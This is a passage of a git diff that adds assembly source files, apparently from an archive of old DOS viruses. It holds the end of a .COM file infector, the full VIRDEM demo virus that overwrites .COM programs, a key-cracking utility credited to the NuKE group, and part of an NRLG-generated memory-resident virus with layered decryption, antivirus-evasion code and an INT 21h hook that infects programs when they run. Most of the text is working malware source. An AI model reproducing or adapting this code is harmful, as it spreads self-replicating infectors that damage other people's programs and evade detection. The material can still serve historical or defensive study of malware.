from it to get real code size + mov [si+14d],ax ;Save result in filloc + add cx,data-(virus-100) + mov di,si + sub di,data-modify ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,enddata-virus ;Virus code length as bytes to be written + mov dx,si + sub dx,data-virus ;Now DX points at virus label + int 21 + jc oldtime ;Exit on error + cmp ax,enddata-virus ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + mov cx,0 ;Just at the file beginning + mov dx,0 + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cx,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+6] ;Restore file date + mov cx,[si+4] ; and time + +;And these again are due to the MASM 5.0 foolness: + + db 081,0E1,0E0,0FF + db 081,0C9,01F,000 +; and cx,not 11111b +; or cx,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+8] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+0] ;Restore saved DTA + mov ds,[si+2] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 0EBh,0Fh,90 ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +filloc dw ? ;File pointer is saved here +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file: + +bad_jmp db 0EA,0Bh,2,13,58 +enddata label byte + +code ends + end start + \ No newline at end of file diff --git a/v/VIRDEM.ASM b/v/VIRDEM.ASM new file mode 100755 index 0000000..af36303 --- /dev/null +++ b/v/VIRDEM.ASM @@ -0,0 +1,487 @@ +; +; +; VIRDEM +; +; Created: 16-Mar-87 +; Version: +; Passes: 5 Analysis Options on: QRS +; Copyright by R.Burger 1986,1987 +; +; + +data_1e equ 80h ; (8C04:0080=0) +data_2e equ 9Eh ; (8C04:009E=0) +data_16e equ 0F800h ; (8C04:F800=0) +data_17e equ 0FD00h ; (8C04:FD00=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +virdem proc far + +start: + nop + nop + nop + mov sp,0FE00h + push ax + push bx + push cx + push dx + push bp + push si + push di + push ds + push es + push ss + pushf ; Push flags + mov si,data_1e ; (8C04:0080=0) + lea di,cs:[3BFh] ; Load effective addr + mov cx,20h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,0 + mov es:data_5,ax ; (8C04:038F=0) + mov bl,byte ptr es:data_12+0Dh ; (8C04:0422=30h) + cmp bl,39h ; '9' + je loc_1 ; Jump if equal + inc bl +loc_1: ; xref 8C04:012C + mov byte ptr es:data_12+0Dh,bl ; (8C04:0422=30h) + + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov cs:data_10,al ; (8C04:03E1=0) + mov ah,47h ; 'G' + mov dh,0 + add al,1 + mov dl,al + lea si,cs:[3E3h] ; Load effective addr + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + jmp short loc_3 ; (016D) + db 90h +loc_2: ; xref 8C04:0191, 01A0 + mov ah,40h ; '@' + mov bx,1 + mov cx,34h + nop + lea dx,cs:[57Ch] ; Load effective addr + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov dx,cs:data_6 ; (8C04:0391=600h) + mov cs:data_17e,dx ; (8C04:FD00=0) + jmp loc_12 ; (02E4) + jmp loc_12 ; (02E4) +loc_3: ; xref 8C04:014B + mov dl,0 + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + mov ah,3Bh ; ';' + lea dx,cs:[3DFh] ; Load effective addr + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + jmp short loc_7 ; (01C9) + db 90h +loc_4: ; xref 8C04:01D4, 01E7 + mov ah,3Bh ; ';' + lea dx,cs:[3DFh] ; Load effective addr + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov ah,4Eh ; 'N' + mov cx,11h + lea dx,cs:[399h] ; Load effective addr + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_2 ; Jump if carry Set + mov bx,cs:data_5 ; (8C04:038F=0) + inc bx + dec bx + jz loc_6 ; Jump if zero +loc_5: ; xref 8C04:01A3 + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_2 ; Jump if carry Set + dec bx + + jnz loc_5 ; Jump if not zero +loc_6: ; xref 8C04:019A + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + add bx,1Ch + mov word ptr es:[bx],5C20h + inc bx + push ds + mov ax,es + mov ds,ax + mov dx,bx + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + pop ds + mov bx,cs:data_5 ; (8C04:038F=0) + inc bx + mov cs:data_5,bx ; (8C04:038F=0) +loc_7: ; xref 8C04:017B + mov ah,4Eh ; 'N' + mov cx,1 + lea dx,cs:[393h] ; Load effective addr + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_4 ; Jump if carry Set + mov bx,es:data_5 ; (8C04:038F=0) + cmp bx,0 + je loc_8 ; Jump if equal + jmp short loc_9 ; (01E9) + db 90h +loc_8: ; xref 8C04:01DE, 020D + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_4 ; Jump if carry Set +loc_9: ; xref 8C04:01E0 + mov ah,3Dh ; '=' + mov al,2 + mov dx,data_2e ; (8C04:009E=0) + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + mov ah,3Fh ; '?' + mov cx,500h + nop + mov dx,data_16e ; (8C04:F800=0) + nop + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov bx,cs:data_16e ; (8C04:F800=0) + cmp bx,9090h + je loc_8 ; Jump if equal + mov ah,43h ; 'C' + + mov al,0 + mov dx,data_2e ; (8C04:009E=0) + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + mov ah,43h ; 'C' + mov al,1 + and cx,0FEh + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + mov ah,3Dh ; '=' + mov al,2 + mov dx,data_2e ; (8C04:009E=0) + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + mov ah,57h ; 'W' + mov al,0 + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + push cx + push dx + mov ah,42h ; 'B' + mov al,2 + mov dx,0 + mov cx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + test ax,8000h + jnz loc_10 ; Jump if not zero + cmp ax,500h + nop + ja loc_10 ; Jump if above + call sub_3 ; (0380) +loc_10: ; xref 8C04:0244, 024A + push ax + push dx + mov ah,40h ; '@' + mov cx,500h + nop + mov dx,data_16e ; (8C04:F800=0) + nop + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + pop dx + pop ax + add ax,100h + mov es:data_4,ax ; (8C04:02BD=0) + add ax,500h + nop + mov dx,cs:data_6 ; (8C04:0391=600h) + mov cs:data_17e,dx ; (8C04:FD00=0) + mov es:data_6,ax ; (8C04:0391=600h) + mov ah,40h ; '@' + mov cx,38h + nop + lea dx,cs:[287h] ; Load effective addr + int 21h ; DOS Services ah=function 40h + + ; write file cx=bytes, to ds:dx + jmp short loc_11 ; (02C0) + db 90h + db 0BFh, 80h, 00h, 8Dh, 36h,0BFh + db 03h,0B9h, 20h, 00h,0F3h,0A4h + db 0E8h, 00h, 00h + +virdem endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop ax + mov bx,27h + nop + add ax,bx + mov si,ax + mov bx,es:[si] + mov si,bx + mov di,offset ds:[100h] ; (8C04:0100=90h) + mov cx,500h + nop + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + popf ; Pop flags + pop ss + pop es + pop ds + pop di + pop si + pop bp + pop dx + pop cx + pop bx + pop ax + mov ax,offset start + push ax + ret +sub_1 endp + +data_4 dw 0 ; xref 8C04:0262 + db 90h +loc_11: ; xref 8C04:0284 + mov ah,42h ; 'B' + mov al,0 + mov dx,0 + mov cx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,40h ; '@' + mov cx,500h + nop + lea dx,cs:[100h] ; Load effective addr + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,57h ; 'W' + + mov al,1 + pop dx + pop cx + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_12: ; xref 8C04:0167, 016A + nop + call sub_2 ; (036E) + mov bl,byte ptr es:data_12+0Dh ; (8C04:0422=30h) + cmp bl,31h ; '1' + jne loc_13 ; Jump if not equal + mov ah,40h ; '@' + mov bx,1 + mov cx,67h + nop + lea dx,cs:[404h] ; Load effective addr + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,0 + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx +loc_13: ; xref 8C04:02F0 + mov ah,40h ; '@' + mov bx,1 + mov cx,102h + nop + lea dx,cs:[404h] ; Load effective addr + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,2 + mov bl,byte ptr es:data_12+0Dh ; (8C04:0422=30h) + mov dl,bl + int 21h ; DOS Services ah=function 02h + ; display char dl + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dh=sec + mov ah,0Ch + mov al,1 + int 21h ; DOS Services ah=function 0Ch + ; clear keybd buffer & input al + or dl,30h ; '0' + and dl,bl + cmp dl,al + je loc_14 ; Jump if equal + mov bl,dl + mov ah,2 + mov dl,20h ; ' ' + int 21h ; DOS Services ah=function 02h + ; display char dl + mov dl,3Eh ; '>' + int 21h ; DOS Services ah=function 02h + ; display char dl + mov dl,bl + + int 21h ; DOS Services ah=function 02h + ; display char dl + mov dl,3Ch ; '<' + int 21h ; DOS Services ah=function 02h + ; display char dl + mov ah,40h ; '@' + mov bx,1 + mov cx,3Ch + nop + lea dx,cs:[507h] ; Load effective addr + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,0 + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx +loc_14: ; xref 8C04:0330 + mov ah,40h ; '@' + mov bx,1 + mov cx,37h + nop + lea dx,cs:[544h] ; Load effective addr + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,es:data_17e ; (8C04:FD00=0) + push ax + ret + +; +; SUBROUTINE +; +; Called from: 8C04:02E5 +; + +sub_2 proc near + mov ah,0Eh + mov dl,cs:data_10 ; (8C04:03E1=0) + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + mov ah,3Bh ; ';' + lea dx,cs:[3E2h] ; Load effective addr + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + ret +sub_2 endp + + +; +; SUBROUTINE +; +; Called from: 8C04:024C +; + +sub_3 proc near + mov ah,42h ; 'B' + mov al,0 + mov dx,500h + nop + + mov cx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + ret +sub_3 endp + + db 0 +data_5 dw 0 ; xref 8C04:0120, 0193, 01BE, 01C4 + ; 01D6 +data_6 dw 600h ; xref 8C04:015D, 026A, 0274 + db "*.com", 00h + db 2Ah, 00h,0FFh, 00h, 00h, 00h + db 00h, 00h, 3Fh, 00h + db "????????exe" + db 00h, 00h, 00h + db 00h, 00h + db "????????com" + db 33 dup (0) + db 5Ch, 00h +data_10 db 0 ; xref 8C04:0139, 0370 + db 5Ch + db 33 dup (0) + db 'Virdem Ver.: 1.06' + + +data_12 db ' (Generation 0) aktive.', 0Ah, 0Dh + +copyright db 'Copyright by R.Burger 1986,1987' + db 0Ah, 0Dh, 'Phone.: D - 05932/5451' + db ' ', 0Ah, 0Dh, ' ', 0Ah, 0Dh, 'T' + db 'his is a demoprogram for ', 0Ah, 0Dh + db 'computerviruses. Please put in a' + db ' ', 0Ah, 0Dh, 'number now.', 0Ah + db 0Dh, 'If you', 27h, 're right, yo' + db 'u', 27h, 'll be', 0Ah, 0Dh, 'abl' + db 'e to continue.', 0Ah, 0Dh, 'The ' + db 'number is between ', 0Ah, 0Dh, '0' + db ' and ', 0 + db 0Ah, 0Dh, 'Sorry, you', 27h, 're ' + db 'wrong', 0Ah, 0Dh, ' ', 0Ah + db 0Dh, 'More luck at next try ....', 0Ah + db 0Dh, 0 + db 0Ah, 0Dh, 'Famous. You', 27h, 're' + db ' right.', 0Ah, 0Dh, 'You', 27h, 'l' + db 'l be able to continue. ', 0Ah, 0Dh + db 0 + db 0Ah, 0Dh, 'All your programs are', 0Ah + db 0Dh, 'struck by VIRDEM.COM now.', 0Ah + db 0Dh + db 0 + +seg_a ends + + end start + + CROSS REFERENCE - KEY ENTRY POINTS + + seg:off type label + ---- ---- ---- --------------- + 8C04:0100 far start + + Interrupt Usage Synopsis + + Interrupt 21h : terminate, cs=progm seg prefx + Interrupt 21h : display char dl + Interrupt 21h : clear keybd buffer & input al + Interrupt 21h : set default drive dl (0=a:) + Interrupt 21h : get default drive al (0=a:) + Interrupt 21h : get time, cx=hrs/min, dh=sec + Interrupt 21h : get DTA ptr into es:bx + Interrupt 21h : set current dir, path @ ds:dx + Interrupt 21h : open file, al=mode,name@ds:dx + Interrupt 21h : close file, bx=file handle + Interrupt 21h : read file, cx=bytes, to ds:dx + Interrupt 21h : write file cx=bytes, to ds:dx + Interrupt 21h : move file ptr, cx,dx=offset + Interrupt 21h : get/set file attrb, nam@ds:dx + Interrupt 21h : get present dir,drive dl,1=a: + Interrupt 21h : find 1st filenam match @ds:dx + Interrupt 21h : find next filename match + Interrupt 21h : get/set file date & time + + I/O Port Usage Synopsis + + No I/O ports used. + diff --git a/v/VIROCRK.ASM b/v/VIROCRK.ASM new file mode 100755 index 0000000..0d3f893 --- /dev/null +++ b/v/VIROCRK.ASM @@ -0,0 +1,573 @@ + +; +; VIROCRK v2.0, (c)1995 irogen [NuKE]. +; +; Sorry, didn't feel like commenting this. You see, if I go through +; the code and comment it then I'll no-doubt end up re-writing half +; of it also, and I just haven't got the time. +; +; + +segment cseg + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +lf equ 0ah +cr equ 0dh + +org 100h +start: + lea dx,intro + call disp + + cmp byte ptr ds: [80h],0 + jnz is_cmd_line + lea dx,no_cmd_line + call disp + ret + +is_cmd_line: + mov di,82h + mov al,' ' + mov cx,0FFh + repnz scasb + mov si,di + dec di + mov byte ptr [di],0 + lea di,plain_text + mov cx,0FFh +copy_loop: + lodsb + cmp al,cr + jz quit_copy + stosb + loop copy_loop +quit_copy: + mov ax,0ffh + sub ax,cx + mov plain_len,ax + mov dx,82h + mov ax,3d02h + int 21h + jnc no_error + jmp error +no_error: + + xchg ax,bx + lea dx,buffer + mov cx,0FFFEh-(offset buffer-offset start)-200h + mov ah,3fh + int 21h + mov bytes_read,ax + mov ah,3eh + int 21h + + lea dx,byte_xor_msg + call disp +xor8: + call crack_byte_XOR + jnc cont0 + mov cx,2 + lea si,key8 + call cvt_key + call xor_b_crypt_ct + call alright + call xor_b_crypt_ct + inc key8 + jnz xor8 +cont0: + + + call reset + lea dx,byte_add_msg + call disp + mov word ptr ext,'S8' + mov byte ptr ext+2,'B' +add8: + call crack_byte_add + jnc cont2 + mov cx,2 + lea si,key8 + call cvt_key + call sub_b_crypt_ct + call alright + call add_b_crypt_ct + inc key8 + jnz add8 +cont2: + + call reset + lea dx,byte_rot_msg + call disp + mov word ptr ext,'R8' + mov byte ptr ext+2,'T' +rot8: + call crack_byte_rot + jnc cont6 + mov cx,2 + lea si,key8 + call cvt_key + call alright + inc key8 + cmp key8,9 + jnz rot8 +cont6: + + call reset + lea dx,word_xor_msg + call disp + mov word ptr ext,'61' + mov byte ptr ext+2,'X' +xor16: + call crack_word_XOR + jnc cont1 + mov cx,4 + lea si,key16 + call cvt_key + call xor_w_crypt_ct + call alright + call xor_w_crypt_ct + inc key16 + jnz xor16 +cont1: + + call reset + lea dx,word_add_msg + call disp + mov word ptr ext,'61' + mov byte ptr ext+2,'S' +add16: + call crack_word_add + jnc cont4 + mov cx,4 + lea si,key16 + call cvt_key + call sub_w_crypt_ct + call alright + call add_w_crypt_ct + inc key16 + jnz add16 +cont4: + + call reset + lea dx,word_rot_msg + call disp + mov word ptr ext,'61' + mov byte ptr ext+2,'R' +rot16: + call crack_word_rot + jnc cont7 + mov cx,4 + lea si,key16 + call cvt_key + call alright + inc key16 + cmp key16,17 + jnz rot16 +cont7: + + cmp adr_ct,offset buffer + jnz did_adjust + lea dx,adjust_msg + call disp + inc adr_ct + inc adr_pt + dec plain_len + jmp cont1 +did_adjust: + + + + lea dx,done_msg + call disp + ret + +alright: + lea dx,fnd_msg + call disp + lea dx,fname + mov ah,3Ch + xor cx,cx + int 21h + xchg ax,bx + lea dx,buffer + mov cx,bytes_read + mov ah,40h + int 21h + mov ah,3eh + int 21h + + ret + +error: + lea dx,error_msg + call disp + ret + + +setup_pt_ptr: + mov cx,plain_len + mov si,adr_pt + mov di,si + ret + +setup_ct_ptr: + mov cx,bytes_read + mov si,adr_ct + mov di,si + ret + + + +crack_byte_XOR: + inc count + cmp count,(0FFh/16)+1 + jnz nodispbx + mov count,0 + mov dl,'.' + call disp_char +nodispbx: + call xor_b_crypt_pt + call search_file + pushf + call xor_b_crypt_pt + popf + jc done_b_xor + inc key8 + jnz crack_byte_xor +done_b_xor: + ret + +xor_b_crypt_pt: + call setup_pt_ptr + jmp xor_b_loop +xor_b_crypt_ct: + call setup_ct_ptr +xor_b_loop: + lodsb + xor al,key8 + stosb + loop xor_b_loop + ret + + +crack_word_XOR: + inc count + cmp count,0FFFFh/16 + jnz nodispwx + mov count,0 + mov dl,'.' + call disp_char +nodispwx: + call xor_w_crypt_pt + call search_file + pushf + call xor_w_crypt_pt + popf + jc done_w_xor + inc key16 + jnz crack_word_XOR +done_w_xor: + ret + + +xor_w_crypt_pt: + call setup_pt_ptr + jmp xor_w_loop +xor_w_crypt_ct: + call setup_ct_ptr +xor_w_loop: + lodsw + mov bx,key16 + xchg bl,bh + xor ax,bx + stosw + dec cx + jz _ret + loop xor_w_loop +_ret: + ret + + +crack_byte_ADD: + inc count + cmp count,(0FFh/16)+1 + jnz nodispba + mov count,0 + mov dl,'.' + call disp_char +nodispba: + call add_b_crypt_pt + call search_file + pushf + call sub_b_crypt_pt + popf + jc done_b_add + inc key8 + jnz crack_byte_add +done_b_add: + ret + +add_b_crypt_pt: + call setup_pt_ptr + jmp add_b_loop +add_b_crypt_ct: + call setup_ct_ptr +add_b_loop: + lodsb + add al,key8 + stosb + loop add_b_loop + ret + +sub_b_crypt_pt: + call setup_pt_ptr + jmp sub_b_loop +sub_b_crypt_ct: + call setup_ct_ptr +sub_b_loop: + lodsb + sub al,key8 + stosb + loop sub_b_loop + ret + +crack_word_ADD: + inc count + cmp count,0FFFFh/16 + jnz nodispwa + mov count,0 + mov dl,'.' + call disp_char +nodispwa: + call add_w_crypt_pt + call search_file + pushf + call sub_w_crypt_pt + popf + jc done_w_add + inc key16 + jnz crack_word_add +done_w_add: + ret + +add_w_crypt_pt: + call setup_pt_ptr + jmp add_w_loop +add_w_crypt_ct: + call setup_ct_ptr +add_w_loop: + lodsw + add ax,key16 + stosw + dec cx + jz _retaw + loop add_w_loop +_retaw: + ret + +sub_w_crypt_pt: + call setup_pt_ptr + jmp sub_w_loop +sub_w_crypt_ct: + call setup_ct_ptr +sub_w_loop: + lodsw + sub ax,key16 + stosw + dec cx + jz _retsw + loop sub_w_loop +_retsw: + ret + +crack_byte_rot: + mov dl,'.' + call disp_char + call ror_b_crypt_ct + call search_file + jc done_b_rot + inc key8 + cmp key8,9 + jnz crack_byte_rot +done_b_rot: + pushf + cmp key8,8 + jnz brot_ok + popf + clc + ret +brot_ok: + popf + ret + + ret + +ror_b_crypt_ct: + call setup_ct_ptr +ror_b_loop: + lodsb + ror al,1 + stosb + loop ror_b_loop + ret + +crack_word_rot: + mov dl,'.' + call disp_char + call ror_w_crypt_ct + call search_file + jc done_w_rot + inc key16 + cmp key16,17 + jnz crack_word_rot +done_w_rot: + pushf + cmp key16,16 + jnz wrot_ok + popf + clc + ret +wrot_ok: + popf + ret + +ror_w_crypt_ct: + call setup_ct_ptr +ror_w_loop: + lodsw + ror ax,1 + stosw + dec cx + jz ror_w_done + loop ror_w_loop +ror_w_done: + ret + + + + +search_file: + mov cx,bytes_read + mov si,adr_ct + dec si +search_loop0: + mov di,adr_pt +search_loop: + mov ax,di + sub ax,adr_pt + cmp ax,plain_len + jz got_it + inc si + mov al,byte ptr [di] + cmp al, byte ptr [si] + jz got_one + loop search_loop0 + jmp not_found +got_one: + inc di + + loop search_loop +not_found: + clc + ret +got_it: + stc + ret + + +cvt_key: + lea di,key_txt+3 +cvt_key_l0: + call cvt_byte + sub cx,2 + jnz cvt_key_l0 + ret + +cvt_byte: + push cx + mov al,byte ptr [si] + inc si + push ax + mov cx,4 + shl al,cl + shr al,cl + call to_ascii + mov byte ptr [di],al + dec di + pop ax + shr al,cl + call to_ascii + mov byte ptr [di],al + dec di + pop cx + ret + +to_ascii: + cmp al,9 + jg is_alpha + add al,'0' + ret +is_alpha: + add al,'A'-10 + ret + + +reset: + mov key8,1 + mov key16,1 + mov count,0 + mov word ptr key_txt,'00' + mov word ptr key_txt+2,'00' + ret + +disp_char: + mov ah,2 + int 21h + mov ah,0bh + int 21h + cmp al,0 + jz no_key + lea dx,user_abort + call disp + mov ax,4c01h + int 21h +no_key: + ret +disp: + mov ah,9 + int 21h + ret + +intro: + db cr,lf,'Ŀ' + db cr,lf," irogen's Super-Duper Encryption Cracker [] FDA Approved" + db cr,lf,' [] FCC Class B Appliance' + db cr,lf,' version 2.0 ; (c)1995 irogen [NuKE] [] Love Me, Fuck Me, Kill Me' + db cr,lf,'$' +byte_add_msg db cr,lf,' Attempting 8-bit ADD/SUB .$' +byte_xor_msg db cr,lf,' Attempting 8-bit XOR .$' +byte_rot_msg db cr,lf,' Attempting 8-bit ROR/ROL .$' +word_xor_msg db cr,lf,' Attempting 16-bit XOR .$' +word_add_msg db cr,lf,' Attempting 16-bit ADD/SUB .$' +word_rot_msg db cr,lf,' Attempting 16-bit ROR/ROL .$' +adjust_msg db cr,lf,' Adjusting 16-bit Addressing$' +user_abort db cr,lf,cr,lf, ' Key Input Detected. Process Aborted. ',cr,lf,'$' +done_msg db cr,lf,cr,lf,' All keys exhausted.',cr,lf,'$' +fnd_msg db cr,lf,' Possible key found! Writing decrypted file: ' +fname db 'DEC-' +key_txt db '0000.' +ext db '8XR',0,'$' +error_msg db cr,lf,cr,lf,'Error opening file! Usage: VIROCRK [filename] [search text]',cr,lf,'$' +no_cmd_line db cr,lf,cr,lf,'No command line. Usage: VIROCRK [filename] [search text]',cr,lf,'$' +plain_len dw 0 +plain_text db 128 dup (0) +bytes_read dw 0 +key8 db 1 +key16 dw 1 +count dw 0 +adr_pt dw offset plain_text +adr_ct dw offset buffer +buffer: +cseg ends + end start + diff --git a/v/VIRUS.ASM b/v/VIRUS.ASM new file mode 100755 index 0000000..50ed3ed --- /dev/null +++ b/v/VIRUS.ASM @@ -0,0 +1,473 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +sub byte ptr [di],059h +xor word ptr [di],0cb6fh +not word ptr [di] +inc byte ptr [di] +add byte ptr [di],03fh +xor word ptr [di],01bd8h +sub word ptr [di],05c54h +sub word ptr [di],0ccdh +not word ptr [di] +not word ptr [di] +inc word ptr [di] +not word ptr [di] +not word ptr [di] +inc byte ptr [di] +sub word ptr [di],0f965h +inc word ptr [di] +sub byte ptr [di],072h +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es 